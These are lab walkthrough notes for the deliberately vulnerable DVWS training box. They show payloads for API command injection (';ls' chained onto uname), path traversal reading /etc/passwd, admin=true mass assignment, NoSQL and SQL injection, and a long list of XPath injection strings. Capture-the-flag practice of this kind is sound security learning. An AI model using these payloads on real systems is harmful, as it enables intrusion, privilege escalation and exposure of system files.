// notes/ Practice Boxes
📦

DVWS — Training Labs

Walkthrough notes for the DVWS box (Training Labs).

#training labs#ctf#walkthrough#boxes

DVWS — Training Labs

API Command Injection

unnamed_4c2305f849304ba6805b157d8e96212f The admin.html page loads up information about the host in the response. It's using the linux uname system command for this. Let's see if we can modify our chain commands to this request to get command injection

unnamed_ab60afcb043d458eafa215ee0d01c754 As we can see adding the ;ls to the uname response allows us to get command injection on this host. Replacing the uname with another command also works in this case.


API LFI

🐺 howlsec@kali
01{"filename":"/../../../../../../../../etc/passwd"}

unnamed_fe7fbcf5a79f4c2583cfeeaf270fab7c


API Mass Assignment

When we login we can see admin=false value. We now have an idea of which paramaters the API allows. We can attempt a mass assignment attack with the admin=true in potentially either a login request or a user creation request.
unnamed_509f57c1ee1e4212ab68d9962e4d1a4a

Let's add the admin value unnamed_32da445597294be992a60163b4add3f5

As as we intercept the response to our request, our new user is now set up as a admin! unnamed_669e76837db24780bfc184955cf5f537


API NOSQL Injection

🐺 howlsec@kali
01{"search":"a'||'a'=='a"}

unnamed_2860b05d65284ac580da24f16cfcdc50


API SQL Injection

🐺 howlsec@kali
01{"passphrase":"465d51506b57487d78567d5d55457379","reminder":"Hiii'"}

unnamed_f82cad2c7f204ea9a736a0d9cd5e8fa5


API XPath Injection

If it uses a framework or a CMS that use XML as a data storage format or if the application uses SOAP web services, you should test for XPath injection.

Test in:

Query string paramater, ex: http://example.com/page?name=value cookies, ex: Cookie: session=1234567890; query=' or sleep(5)=' Path paramaters, ex:http://example.com/page/value (So like this: http://example.com/page/' or sleep(5)=' Form Fields

http://example.com/search?query=' or sleep(5)='

POST /search HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded

query=' or sleep(5)='

' or sleep(5)='' " or sleep(5)="" ' or 1=1 or ''=' " or 1=1 or ""=" ' or sleep(5)=' 'or'1'='1 'or'true()'or' a' or true() or '

' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* / @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/)=1 and '1'='1 ' and count(/@)=1 and '1'='1 ' and count(/comment())=1 and '1'='1 search=')] | //user/[contains(,' search=Har') and contains(../password,'c search=Har') and starts-with(../password,'c ' or 1]%00

Modified

unnamed_e563578ea22e466b9fcf81828e7cbe20 unnamed_9e81471b9081436d828b47e40ac9960d